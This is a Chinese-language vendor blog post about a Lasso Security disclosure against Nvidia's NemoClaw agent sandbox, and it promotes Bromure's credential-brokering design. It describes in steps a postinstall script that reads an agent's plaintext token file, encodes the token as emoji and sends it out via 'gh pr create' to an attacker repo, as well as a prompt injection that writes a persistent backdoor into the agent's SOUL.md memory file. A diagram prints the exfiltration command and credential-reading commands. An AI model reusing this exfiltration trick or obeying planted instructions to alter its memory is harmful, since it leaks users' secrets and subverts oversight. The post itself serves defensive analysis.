返回所有文章
發佈於 · 作者 Renaud Deraison

那個保管著鑰匙的沙箱

2026 年 5 月 18 日,Lasso Security 揭露了針對 Nvidia NemoClaw 的兩起攻擊——NemoClaw 就是執行 OpenClaw 自主編碼代理的那個沙箱。沙箱完全按照 Nvidia 描述的方式運作。沙箱裡的代理依然把使用者的 GitHub 權杖推送到了攻擊者控制的拉取請求裡,編碼成 emoji,從而繞過了 GitHub 的靜態金鑰掃描器。有意思的問題不是沙箱有沒有壞掉,而是:一個把明文憑證檔案放在自己內部的沙箱,從架構意義上說,到底算不算沙箱?以及,這個答案對所有在 2026 年發行編碼代理的人意味著什麼?

兩件事可以同時為真。第一件是 Nvidia 的 NemoClaw 沙箱——它把 OpenClaw 自主編碼代理裝在一個特權 Docker 容器裡執行的 K3s 叢集 之中——的行為完全符合 Nvidia 的文件。第二件是 5 月 18 日,Lasso Security 發表了一篇報告:一個惡意的 npm postinstall 指令稿,跑 在那個沙箱裡,做的事情全都在沙箱組態允許的範圍內,卻從一個明文 設定檔裡讀出了使用者的 GitHub 權杖,把它編碼成 emoji 以擊敗 GitHub 的金鑰掃描器,再透過出口政策好心放進白名單的 gh 執行檔把結果推到了攻擊者控制的拉取請求裡。Nvidia 的回覆是這件 事不在漏洞獎金範圍之內,理由是沙箱的行為完全符合其組態。 這種說法,絕大多數搞資安的人都會覺得熟悉——它既正確,又沒 說到點子上。

這個故事三句話就能講完。2026 年 5 月 18 日,Lasso Security 發表了 一條針對 NemoClaw 的攻擊鏈——NemoClaw 是 Nvidia 用來執行 OpenClaw 的沙箱,OpenClaw 跟 Claude Code、Cursor 的代理或 Codex CLI 一樣,是被授權可以替使用者執行 npm installgh pr creategit push 的自主編碼代理。攻擊鏈有兩半:憑證外洩的一半,惡意套件 讀取了 /sandbox/.openclaw/openclaw.json(一個明文檔案,裡面 和 Anthropic、OpenAI、Gemini、Nvidia 服務的金鑰一起放著使用者的 GitHub 權杖),用一個執行階段建立的查找表把權杖改寫成 emoji 序列, 再透過白名單中的 gh 執行檔把編碼後的酬載推到一個公開的 PR;以 及持久化的一半,植入在某個例行原始碼檔案中的提示詞注入誘使代理改 寫自己的 SOUL.md——OpenClaw 的行為記憶檔——加入一個能在後續每 個工作階段中存活下來的後門。 BDTechTalks 當天就跟進了這次揭露;Nvidia 的回覆在兩篇文章裡都被引用:沙箱 的行為完全符合其組態,而這些情境不在該計畫範圍之內

Nvidia 的回覆,在狹義的技術層面上是對的。沙箱就是沙箱。K3s Pod 就是 K3s Pod。那條允許 ghgithub.com 通訊的出口政策, 就是一條允許 ghgithub.com 通訊的政策。什麼都沒逃出能力 邊界。什麼都沒提權。容器沒有突破。從執行階段的角度看,所有離開 沙箱的位元組都是透過使用者已經同意可以出去的執行檔、發往使用者 已經同意它可以連線的目的地。

只不過那個離開沙箱的位元組,是使用者的 GitHub 權杖,寫成了一串 卡通表情。

攻擊鏈裡乏味的那部分。

我們慢慢走一遍憑證那半部分,因為這套機制本身就是整個論點。代理 接到一個任務——某件平平無奇的事,比如「按這個 GitHub README 搭建這個新專案」——而 README 的步驟裡某個地方寫著大致相當於 npm install some-helpful-package 的指令。這個套件是惡意的,但 是用今天每週一百個 npm 套件變惡意的那種平淡方式:它是某個最近被 攻陷的套件的 typosquat 或傳遞相依套件,並且附帶一個 postinstall 指令稿。這個 postinstall 指令稿做了三件事,單獨看每一件都是允許 的,合起來看是災難。

它讀 /sandbox/.openclaw/openclaw.json。這個檔案就在沙箱的檔案 系統裡;指令稿就跑在沙箱裡;沒人告訴檔案系統不要可讀,因為如果 連存著 GitHub 權杖的那個檔案都讀不了,代理自己怎麼用 GitHub 權杖? 指令稿把裡面 ghp_… 的值取出來。

它載入隨惡意套件一起發行的 emoji_map.json,這個檔案把每個字母 數字字元對映成一個 emoji——一個完全普通的 JSON 檔案,在靜態掃描 裡完全無害,正是 Markdown 格式化器或聊天用戶端可能合法地隨附的那 種東西。指令稿逐字元走過權杖,產生一串像 🍕🍔🌮🍟… 這樣的字串, 一個 emoji 對一個字元。

它對著攻擊者控制的儲存庫執行 gh pr create,把那串 emoji 當作 PR 內文。從出口政策的角度看,這就是 gh 在跟 github.com 通訊, 也是白名單允許 gh 做的唯一一件事。PR 被建立出來。在攻擊者那一 端,一個指令稿讀取 PR 內文,反轉對映表,把 ghp_… 重建出來。GitHub 的金鑰掃描器也看到了這個 PR 內文,但 GitHub 的金鑰掃描器在找 ghp_[A-Za-z0-9]{36},不是在找 🍕🍔🌮🍟。

Lasso 的研究員 Noy Pearl 在揭露中說得很直白:「我們選擇 emoji 編碼這條路徑,就是為了繞開 GitHub 的靜態掃描」,以及*「只要代理 跟外部世界還有連線,就沒有任何靜態機制能完全保護你。」* 到這一步 你點點頭說,是的,顯然,你不可能把一個能攜帶任意位元組的協定放 進白名單,然後還對任意位元組穿過它感到驚訝。一個允許 gh 的 L7 白名單,就是一個允許任何能被序列化進 PR 內文的東西的白名單,也 就是任何東西。

NEMOCLAW 沙箱 — 特權 Docker 容器裡的 K3s Pod,出口白名單 gh → github.comOPENCLAW 代理> 按 README.md 搭建專案工具: bashnpm i helpful-pkg↳ postinstall 執行 就在沙箱裡憑證檔案/sandbox/.openclaw/ openclaw.json "github": "ghp_real_…" "anthropic": "sk-ant…" "openai": "sk-…" "nvidia": "…"EMOJI_MAP.JSON(套件自帶)"g": 🍕, "h": 🍔, "p": 🌮"_": 🍟, "r": 🥗, "e": 🍣"a": 🍩, "l": 🍪, …靜態掃描器:「這只是個 JSON 檔案」postinstall:走過權杖,輸出 emojighp_real_xxx → 🍕🍔🌮🍟🥗🍣🍩🍪…出口 — gh 已在 github.com 的白名單上,因此被允許$ gh pr create --repo attacker-handle/totally-normal-repo --title "fix: typo in readme" --body "🍕🍔🌮🍟🥗🍣🍩🍪…"出口政策:gh → github.com ✓GitHub 金鑰掃描器:正規式比對不到 🍕沙箱 L7 過濾器:只是個 PR 而已PR 已開啟。內文是公開的。攻擊者 — 在沙箱之外,讀取公開 PRwebhook:PR 已開啟讀取內文,反轉 emoji_map🍕🍔🌮🍟🥗🍣🍩🍪… → ghp_real_…權杖已還原;沙箱從未被突破圖裡的每一支箭頭都是沙箱組態「允許」的。教訓是結構性的,不是組態性的。
Lasso 外洩鏈路自上而下。代理執行 npm install。一個 postinstall 指令稿在沙箱裡讀取 /sandbox/.openclaw/openclaw.json——這個檔案是沙箱專門放在那裡好讓代理自己能向 GitHub 認證的——擷取 ghp_ 權杖,到惡意套件附帶的 emoji_map.json 裡逐字元查表(一個看上去無害、能通過任何靜態掃描的 JSON 檔案),輸出一串 emoji。然後它呼叫 gh——沙箱的 L7 出口政策針對 github.com 已經把 gh 放進白名單——建立一個 PR,內文就是那串 emoji。GitHub 的金鑰掃描器看到了這個 PR;它在找 ghp_[A-Za-z0-9]{36},不是在找卡通食物。攻擊者那邊,一個 webhook 讀取 PR 內文並反轉對映。權杖現在是公開的了。沙箱做的事情,跟它聲稱要做的事情一模一樣。

持久化那一半——SOUL.md——在機制上不同,但在哲學上一樣。根據 Lasso 的報告,OpenClaw 維護著一份叫 SOUL.md 的行為記憶檔,代理在每 次工作階段開始時讀取它:規則、系統指令、關於使用者偏好的累積上 下文。代理也可以這個檔案,因為長期記憶的整個前提就是代理應 當能夠更新自己的信念。在代理日常處理的某個看上去再正常不過的原 始碼檔案裡植入提示詞注入——Lasso 給的例子是一份純文字檔案,裡 面用訓練資料的語氣寫著指令——會讓代理把一條後門規則附加進 SOUL.md。後續工作階段再載入 SOUL.md。後門,按照代理對自身的 描述,現在已經是代理的偏好。Pearl 針對 Nvidia「行為符合組態」式 辯護的反駁很銳利:「沙箱行為符合組態」在沙箱裡跑的是確定性程式 時是個不錯的論點。一旦你換成 LLM 驅動的代理——它的行為在執行階 段被它讀進的每一段文字塑造——這個論點就站不住腳了。

檔案裡的權杖就是檔案裡的權杖。

在討論 Bromure 對這一切做了什麼之前,我想先寫下這句架構層面的話: 一個長期存活、以明文檔案形式放在和代理執行的程式碼同一個爆炸 半徑裡的金鑰,對任何能在那個爆炸半徑裡跑程式碼的攻擊者來說, 等價於一個公開的金鑰。 沙箱改變不了這一點。K3s Pod 改變不了 這一點。出口白名單也改變不了——因為出口白名單本來就允許跟 GitHub 通訊,而跟 GitHub 通訊——按設計、按使用者意圖、按代理存在的 全部理由——正是惡意套件要走的同一個通道。

這個問題有一個被很好理解的解法,比 AI 代理早了幾十年,而資安 業界從 1990 年代就一直在悄悄使用。解法是把金鑰放到一個處理程序 邊界的另一側,去仲介它的使用,而不是它的取值

教科書式的例子就是 ssh-agent。你的 SSH 私鑰住在 ssh-agent 處理程序持有的一段記憶體裡。ssh 需要認證時,它不會說「把鑰匙 給我」;它把挑戰位元組透過一個 Unix 網域通訊端發過去,然後拿回 來一個簽章。鑰匙從來沒穿過那個通訊端。在同一個使用者下執行的惡 意執行檔可以讓 ssh-agent 替它簽東西,沒問題——這本來就是 agent 存在的意義——但它讀不到鑰匙,複製不了它,外洩不了它,也寄不回 家。工作階段結束時,鑰匙跟著處理程序一起死掉。WebAuthn 對瀏覽器 做了結構上相同的事:私鑰住在 TPM 或 Secure Enclave 裡,頁面讓 瀏覽器簽一個挑戰,頁面看不到鑰匙。整個業界花了十年逐步拋棄 localStorage 裡的密碼的過程,瞇起眼睛看就是 NemoClaw 需要做的同 一種遷移。只不過往上挪一層。

對 GitHub 也一樣有效。gh CLI 自帶一個 credential helper,在 macOS 上可以把權杖存進 Keychain,而不是放在明文設定檔裡。對沙箱情境 更有用的是,GitHub Apps 簽發的是安裝權杖:短壽命(通常一小時), scope 限定到特定儲存庫,且可撤銷;一個跑在沙箱外面的簽署代理可 以按需鑄一個出來,掛在代理發出的請求上,再把結果轉回去。沙箱看 到的是一個普通的 HTTP 回應。沙箱看不到權杖。惡意 postinstall 指 令稿向被仲介的端點請求「把權杖給我」,最多拿到一個一小時、僅限 一個儲存庫的權杖——足夠做代理本來就替使用者做的那點事,但不夠 值得外洩。

沙箱(Bromure 按設定檔隔離的 VM)— 惡意 postinstall 指令稿能看到的東西編碼代理$ gh pr create … → /var/run/cred.sockenv 裡沒權杖磁碟上沒權杖檔案系統 & ENV — 沒有明文憑證/sandbox/.openclaw/openclaw.json檔案不存在$GH_TOKEN未設定$GITHUB_TOKEN未設定/var/run/cred.sockUnix 通訊端 → 主機代理POSTINSTALLcat openclaw.json ENOENTenv | grep TOKEN (空)處理程序 / VM 邊界 — 只允許 RPC,取值永不跨越主機 — 憑證代理持有真正的金鑰真正的憑證保險庫macOS Keychain / ssh-agentid_ed25519(私鑰)gh credential helperghp_real_…GitHub App 私鑰→ 鑄 1h scope 限定權杖和 ssh-agent(1995)同一種模式。和 WebAuthn(2018)同一種模式。簽署代理 — 使用金鑰,從不暴露金鑰listen /var/run/cred.sock RPC:「替我給儲存庫 X 簽這次 git push」 鑄安裝權杖,scope=X,ttl=1h 出口時掛上 Authorization 標頭 轉發 HTTPS,傳回回應RPC「把權杖給我」→ 未實作RPC:請替我 push
憑證仲介對同一條攻擊鏈的改變。明文 openclaw.json 沒了;取而代之的是一個跑在沙箱之外、跑在主機上的憑證代理。沙箱裡的代理需要 push 一個 commit 時,會透過一個 Unix 網域通訊端跟主機側的代理通訊。代理持有真正的長壽命 GitHub 憑證(或者更好,一個按需鑄造短壽命安裝權杖的 GitHub App)。代理把憑證掛到出站請求上,轉發出去,把回應交回沙箱。權杖從未進入沙箱的記憶體或檔案系統。惡意 postinstall 指令稿掃沙箱檔案系統,找不到任何可以編碼的權杖。惡意 postinstall 指令稿請求代理替它簽東西,最多拿到一個一小時、scope 限定為代理本就已經被授權操作的那個儲存庫的權杖——這是 ssh-agent 自 1990 年代起就給 Unix 使用者的那種姿態,只是搬到了 GitHub 上。

這個模式在每一個使用它的領域都有名字——ssh-agent、WebAuthn、HSM 輔助簽署、gh 的 credential helper、AWS IAM Roles Anywhere——而它 底層的性質始終是同一條:憑證的消費者是和憑證的持有者不同的處 理程序,二者透過一個比「讀取這些位元組」更窄的通道通訊。 這就 是「代理能向 GitHub 認證」和「代理能讀 GitHub 權杖」之間的差別。 一個把這一點搞錯了的沙箱,是一個把前門鑰匙留在了你擔心的那群人 所在的那一側的門後的沙箱。

明確地說,這正是 Bromure 為執行你的編碼代理的那個按設定檔隔離 的 VM 做的事。VM 裡的代理透過一個被轉發的 Unix 網域通訊端跟 macOS 主機上的憑證代理通訊來向 GitHub 認證;GitHub 權杖(或者更好, 那個用來鑄造短壽命 scope 限定權杖的 GitHub App 私鑰)住在 hypervisor 主機一側,住在 macOS Keychain 裡,VM 看不到它。代理 永遠讀不到金鑰的值,它只能透過代理使用它。一個跑 cat /sandbox/.openclaw/openclaw.jsonpostinstall 指令稿什麼 也找不到;一個跑 env | grep TOKEN 的什麼也找不到;一個請求代理 「請把權杖給我」的,會發現代理的 RPC 詞彙表裡根本沒有這個動詞。 同樣的姿態——它已經在 SSH 上用了三十年——被應用到了 GitHub 代 理上。

一條客氣的建議不是邊界。

Lasso 的 emoji 戲法,在更深一層意義上,是對白名單的評論。出口政策 允許 ghgithub.com 通訊。隱含的假設是:ghgithub.com 之間會做的事情,都是合理開發者想做的事情——複製、推送、開 PR、 回覆 issue。但 gh pr create --body "$ANYTHING" 按構造就是一個 能把任意位元組送到一個公開可讀目的地的原語。你不可能既把這個原語 放進白名單,又防止任意位元組穿過它。白名單做的事情和它說要做的事 情是一致的。只不過它做的事情跟你以為它說的事情不一樣。

這是 Lasso 報告裡那個應該讓所有在生產裡跑代理的人都坐下來的部分。 一個允許某種能攜帶任意位元組的協定的 L7 白名單,不是邊界。它是 一條客氣的建議:希望協定裡的位元組就是你心裡想的位元組。 位元 組在 PR 內文裡、在 commit 訊息裡、在 issue 留言裡、在 git-LFS blob 裡、在作為 release asset 上傳的 tarball 中繼資料裡——協定本身就 是洩漏點。沒有任何靜態過濾器能「理解」一個合法的、emoji 很多的 PR(「我們組用 🍰 表示發行」)和一個 emoji 編碼的 GitHub 權杖之 間的差別,因為差別是語意層面的,而過濾器是語法層面的。

那麼什麼能偵測到這種攻擊?誠實的答案是:沒有任何單一技巧能 做到;能做到的結構是一種組合,每一塊單獨看都不出彩。

第一塊是按工作階段的出口位元組預算。 一個工單寫著「修一個 README.md 裡的拼字錯誤」的工作階段,永遠、不應、出於任何理由把 14 KB 的二進位 blob 推到一個 PR 內文裡。你不必知道那些位元組是 什麼;你只需要知道這次工作階段本來該交付什麼。工單的形狀和出口 形狀的不匹配是可以計算的——但前提是有某個在代理之外的東西把工 單和出口記在同一個地方。代理自己的自述不算數;代理就是那個被 懷疑的對象。

第二塊是對出站 git 操作做內容形狀異常偵測。 一個 95% 內容 都是 emoji、或 95% 是 base64、或 95% 是 hex 的 PR,出現在一個歷 史上從沒有過此類 PR 的儲存庫裡,就是一個紅旗。它不是證據;它是 一個紅旗。計算這個紅旗的合適地方是出口代理,它在出站請求離開 主機前就能看到。Bromure 的 hypervisor 層代理就是那個能在不信任 訪客的前提下做出這個計算的地方——因為訪客正是被懷疑的對象。

第三塊是工作階段結束時把離開盒子的東西和這次工作階段本來要產 出的東西做 diff。 工作階段結束時,VM 已經產出了一組出站 HTTP 請求、一組對掛載專案的檔案寫入、一組 git commit。如果工作階段 工單是「修一個拼字錯誤」,而出站請求包含 POST /repos/attacker-handle/random-repo/pulls,這就是一個能用 兩行展示給人看的 diff。不一定阻擋——有時候代理確實需要做出一 些出乎意料的事——但要展示。2026 年大多數編碼代理產品的預設值 是「相信我,跑通了」,而使用者即便想檢查,也沒有可檢查的工件。

稽核流水線就是那個工件。

到這裡值得把 Bromure Enterprise 實際交付的東西大聲說一遍——因為 另一個選項,也就是依賴代理自己寫的日誌,正是把 NemoClaw 推到今天 這個境地的原因。代理的日誌是代理自己寫的。如果代理被一份中毒的 SOUL.md 指示就自己做過什麼事撒謊,那麼代理的日誌就會就自己做 過什麼事撒謊。能產出代理行為真實紀錄的地方只有一個,那就是代理 下面那一層。

Bromure Enterprise 在 hypervisor 主機一側把**「整個工作階段——工 具呼叫、shell 命令、檔案編輯、結束碼」** 當作 JSON Lines 紀錄下來。 追蹤預設開啟;工程師不需要去主動啟用;VM 裡跑的是未經改動的 Claude Code、Codex 或 Cursor。這條流被**「在 VM 之外擷取為一條防 竄改的 JSON Lines 流,並送到你已經在餵的日誌槽(SIEM、資料湖、 保留歸檔)」**。VM 內部被攻陷的相依套件無法把它擦掉,因為寫入發 生在 hypervisor 邊界另一側——那個相依套件根本越不過去。

有意思的後果是:

  • 「這次工作階段是不是 push 到了一個不是使用者的儲存庫」 是 一次 grep。不是比喻意義上的 grep。是真的對昨天的 JSON Lines 跑 grep。
  • 「這次工作階段是不是開了一個內文不像散文的 PR」 是對擷取 到的工具呼叫酬載跑一次正規式。
  • 「有沒有任何東西改過 SOUL.md 是對檔案編輯事件的一次 查詢。如果某個 postinstall 指令稿改寫了代理的身分檔案,這 個事實就在追蹤裡,不管代理自己有沒有提過。
  • 重播。 追蹤是掛在某個 PR 上的。審閱者讀到的是 diff 生成這個 diff 的那串 prompt、工具呼叫和 shell 命令。或者,用 Bromure 產品頁的原話:「replay the day the model decided to delete the migrations folder.」(重播那一天,模型決定把 migrations 目錄刪掉的那一天。)鑑識重播是這個故事裡別處都沒 有的部分,因為它要求把輸入、輸出和模型回覆都擷取到同一條流裡 ——而代理自己沒法產出這條流,除非先被信任不會撒謊。

這些都抓不到一個鐵了心要把外洩資料包裝得像散文一樣的攻擊者;面對 願意花位元組做偽裝的對手,不存在什麼邊界。它能抓到的是每一個沒 有這樣做的攻擊者——也就是大多數——並且它產出的鑑識紀錄能把 下一次事件從「我們完全不知道代理做了什麼」變成「我們手裡有昨 天工作階段追蹤的第 14,332 行」。2026 年那種「代理說成功了」的預 設值,相當於在一台沒有日誌的伺服器上跑生產。

那工作階段裡面的提示詞注入怎麼辦?

值得明確地說清楚 VM 隔離不會修好什麼——因為最有可能讀到這篇 文章的人,也最有可能被賣反向產品的人告知「VM 是萬靈丹」。它們 不是。

SOUL.md 後門——以及任何在工作階段過程中起效的提示詞注入——是 跑在 VM 裡的,權限就是使用者給代理的權限。如果使用者告訴代理 「在這個儲存庫裡開一個 PR」,那提示詞注入就能在這個儲存庫裡開一 個 PR。如果代理對專案目錄有寫權限,那提示詞注入就能把一個後門 寫進專案目錄。VM 不會去審 diff。VM 做的事是把 diff 和它的來源 保留在一個能讓人事後查看的地方——而這恰好就是之前缺的那一塊。

VM 隔離加上憑證仲介確實修好的是那個災難性的部分——一個糟糕的 postinstall 捲走永久 GitHub 權杖、永久 npm 權杖、你的 AWS 憑證 以及開發者筆電上 root 的那個部分。這些憑證沒有一個住在 VM 裡; 憑證住在主機的 Keychain 裡,只能透過一個 RPC 詞彙表裡沒有「把位 元組給我」這個動詞的代理來存取。一個代理能透過 proxy 使用的權 杖,就是一個代理無法外洩的權杖——因為外洩需要先擁有要傳送的位 元組。

在一個 Bromure 託管的 OpenClaw 等價物裡,攻擊者剩下的能力—— 也就是一旦他們對代理做了提示詞注入之後還能做什麼——是讓代理 在工作階段的授權範圍內做一些使用者沒打算做的事。開一個標題奇怪 的 PR。改寫專案裡的 SOUL.md。加一個自己的 postinstall。這 些都是可觀察事件:每一次檔案編輯都落進 JSON Lines 稽核流; 每一個出站請求都落進出口代理;每一個 prompt 和工具呼叫都被記錄 在代理之外。VM 不被要求阻止被提示詞注入過的代理做範圍內的壞 事——它被要求把這些壞事變成可見的、並限制在工作階段之內,讓主 機保持乾淨,讓使用者手裡有一條可讀的追蹤。VM 內部的持久化仍然 可能;但任何人都看不到的 VM 內部持久化不可能——這是一個有意義 的區別。

加上憑證仲介之後,對一個 Bromure 託管代理的攻擊的最壞情況看起 來是這樣:代理交付一個糟糕的 PR,落在它本來就被授權操作的那個 儲存庫裡,使用的是一個短壽命的安裝權杖,每一步都出現在主機上一 份防竄改的日誌裡。這不是零損失。但它離「攻擊者拿到了我的永久 GitHub 權杖,以 emoji 形式外洩,加上一個駐留在代理行為檔案裡 的持久後門,加上完全沒有任何紀錄」非常非常遠。

真正屬於結構性的,是什麼?

如果你順著讀 Lasso 的報告和 Nvidia 的回覆,分歧其實並不在 NemoClaw 是不是有一個值得 CVE 編號的 bug。Nvidia 是對的,沙箱 做了它被組態去做的事。Lasso 是對的,被組態去做的那些事不夠。 分歧在於:信任邊界應該畫在哪裡。

Nvidia 在 Pearl 引用的那段回覆裡,把邊界畫在「被組態的政策」上。 政策之內,什麼都允許;政策之外,客戶自己處理。對一個基礎設施 廠商來說,這是一種正常的共同責任立場。但它不是對 Lasso 演示的 那種失敗模式的防禦——因為那種失敗模式發生在政策之內。政策 允許 ghgh 能攜帶權杖。政策既自洽,又不充分。

結構性的替代方案——這個部落格的 agentic coding 系列文章六個月 來用各種不同的語言反覆主張的立場——是把邊界畫在憑證觀察 上,而不是畫在執行檔目的地上。憑證仲介說:憑證從不進入沙 箱。hypervisor 層的稽核流水線說:代理在沙箱裡做的任何事,都被 一個代理寫不進去、也關不掉的東西擷取著。兩者合在一起,造出一種 沙箱——在裡面,惡意 postinstall 能做的最壞的事,就是代理被授權 做的最壞的事,在它本來就在動的那個儲存庫裡,用著它沒法外洩(因 為它從未擁有)的憑證,並且每一次敲鍵的證據都躺在你的 SIEM 裡。

Nvidia 的人沒有錯。OpenClaw 的架構就是今年發行的每一個編碼代理 的架構,包括那些完全不跑在沙箱裡的編碼代理。Lasso 在 NemoClaw 裡發現的東西,從結構上來說,就是 Wiz、Snyk、Socket 每隔一個星期 二都會在 Cursor、Windsurf 和 GitHub Copilot 的 YOLO 模式裡發現的 東西。問題這一類是「長期存活的明文憑證,對代理跑的任何東西都可 存取,而對於代理用它們做過什麼沒有任何紀錄」,而修法這一類是 「仲介憑證、觀察工作階段、留好證據」。

最後一件事。

這篇文章有一個版本,裡頭的教訓是「別信沙箱」。那個版本是錯的。 沙箱很好。還有一個版本,教訓是「AI 代理太危險了,不該部署」。那 個版本,從實際意義上說,不相關——它們已經被部署了,問題是怎麼 部署。能站得住腳的版本是這一個:沙箱不再被要求做沙箱按構造做不 到的事。

沙箱不能在一個跑在它內部的處理程序面前藏住憑證。沙箱不能分辨一 個 emoji PR 內文和一個 emoji 編碼的權杖之間的差別。沙箱不能把一 個長的、放進白名單的協定變成一個短的協定。沙箱做的事是:把 憑證放在別處,把代理放在一個 hypervisor 看得見它每一步動作的地 方,然後把那份紀錄寫到一個代理搆不到的槽裡。這就是那種組態—— 在那裡,同一個惡意 npm 套件、同一種 postinstall 指令稿,會發現 一個空的檔案系統、一個唯一動詞是「短暫地替我簽這個東西」的憑證 通訊端,以及牆另一邊一個一直在把整場對話抄下來的 hypervisor。

Bromure Agentic Coding 就是那種把這一切當作 預設組態的版本。它免費、開源、今天就發行。下一個 emoji 已經在 上傳了。